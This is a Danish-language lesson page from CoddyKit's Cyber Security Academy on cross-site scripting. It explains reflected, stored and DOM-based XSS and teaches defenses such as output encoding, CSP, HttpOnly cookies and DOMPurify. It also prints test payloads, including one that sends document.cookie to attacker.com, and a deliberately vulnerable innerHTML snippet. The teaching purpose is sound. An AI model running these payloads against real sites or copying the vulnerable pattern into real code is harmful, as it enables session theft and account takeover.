Cross-site scripting (XSS)
Undersøg reflected, stored og DOM-baseret XSS med virkelige payloads og CSP-beskyttelse.
Cross-site scripting (XSS) er en gratis Cyber Security Academy-lektion på CoddyKit. Dette er lektion 2 af 4. Du kan læse alle 3 lektioner i dette læringsspor gratis i deres fulde længde — derefter låser CoddyKit PRO alle lektioner op samt praktiske øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Den er en del af læringsforløbet i Cyber Security Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. Cyber Security Academy-kurset indeholder 4 lektioner i alt.
Hvad er XSS?
Cross-Site Scripting (XSS) opstår, når en angriber indsætter skadelig JavaScript i en webside, som andre brugere får vist. Browseren udfører scriptet i offerets session, hvilket muliggør tyveri af cookies, tastelogning og manipulation af siden.
Reflekteret XSS
Reflekteret XSS (ikke-vedvarende): Det skadelige script er inkluderet i forespørgslen (f.eks. en URL-parameter) og gengives i svaret. Offeret skal klikke på et specialfremstillet link. Eksempel: https://site.com/search?q=<script>alert(1)</script>
Lagret XSS
Lagret XSS (vedvarende): Det skadelige script gemmes i databasen (f.eks. en kommentar eller et profilfelt) og leveres til alle besøgende. Det er farligere end reflekteret XSS, fordi der ikke kræves et særligt link — hver sidevisning udløser scriptet.
DOM-baseret XSS
DOM-baseret XSS opstår, når JavaScript læser angriberstyrede data (URL-hash eller forespørgselsparameter) og skriver dem til DOM'en uden sanitering. Angrebet foregår udelukkende på klientsiden; serveren ser aldrig nyttelasten.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>Konsekvenser af XSS
Dette kan en angriber gøre med XSS:
- Stjæle sessionscookies (
document.cookie) → overtage kontoen - Logge tastetryk (stjæle adgangskoder, mens de indtastes)
- Omdirigere til phishingwebsteder
- Udføre handlinger som offeret (CSRF via XSS)
- Ændre sidens udseende
XSS-nyttelaster
Enkle nyttelaster til test:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Outputkodning
Det primære forsvar: kod alt output, som brugeren kan styre, før det indsættes i HTML. Konvertér specialtegn til HTML-entiteter: < → <, > → >, " → ".
Brug konteksttilpasset kodning: HTML, JS, URL, CSS.
Content Security Policy (CSP)
CSP er en svarheader, der fortæller browseren, hvilke scripts der må udføres. En streng CSP blokerer indlejrede scripts og begrænser kilderne:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsHttpOnly-cookies
Hvis du angiver flaget HttpOnly på sessionscookies, kan JavaScript ikke læse dem via document.cookie. Selv hvis XSS udløses, kan angriberen ikke stjæle sessionstokenet. Dette er det vigtigste afhjælpende sikkerhedslag sammen med outputkodning.
Saniteringsbiblioteker
Når brugere skal kunne indtaste HTML (f.eks. i redigeringsprogrammer til rich text), skal du bruge et saniteringsbibliotek i stedet for at skrive dit eget:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
Test af XSS
Test for XSS med browserens udviklerværktøjer, Burp Suite eller automatiserede scannere. Kontrollér alle felter med brugerinput, URL-parametre, HTTP-headere og DOM-sinkfunktioner: innerHTML, document.write, eval, setTimeout med strengargumenter.
Hurtigt tjek: XSS
Hvilken XSS-type gemmer den skadelige nyttelast i databasen, så den udføres for alle besøgende på den berørte side?
Opsummering af lektionen
XSS indsætter JavaScript i sider, som ofre får vist. Typer: reflekteret (URL-baseret), lagret (bevaret i databasen), DOM-baseret (på klientsiden). Primære forsvar: outputkodning, HttpOnly-cookies og Content Security Policy. Brug DOMPurify til HTML-sanitering. Indsæt aldrig usaniterede brugerdata i innerHTML eller eval().
Lær Cyber Security Academy med en AI-underviser — gratis
Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.
- Kurser
- 76
- Lektioner
- 303
Ofte stillede spørgsmål
Er lektionen “Cross-site scripting (XSS)” gratis?
Ja — alle 3 lektioner i læringssporet Cyber Security Academy, inklusive “Cross-site scripting (XSS)”, kan læses gratis i deres fulde længde her på webstedet. Derefter låser CoddyKit PRO alle lektioner op samt interaktive øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Cyber Security Academy-kurset indeholder 4 lektioner i alt.
Hvad lærer jeg i “Cross-site scripting (XSS)”?
Undersøg reflected, stored og DOM-baseret XSS med virkelige payloads og CSP-beskyttelse. Du øver dig i Cyber Security Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.
Skal jeg have erfaring for at begynde på Cyber Security Academy?
Der kræves ingen tidligere erfaring. Cyber Security Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 2 af 4.
Hvor lang tid tager lektionen “Cross-site scripting (XSS)”?
De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.
Kan jeg skrive og køre kode i denne Cyber Security Academy-lektion?
Ja. Alle Cyber Security Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.
Alle lektioner i dette kursus
- SQL-injektion: Sådan og hvorfor det virker
- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Forkert sikkerhedskonfiguration og eksponerede tjenester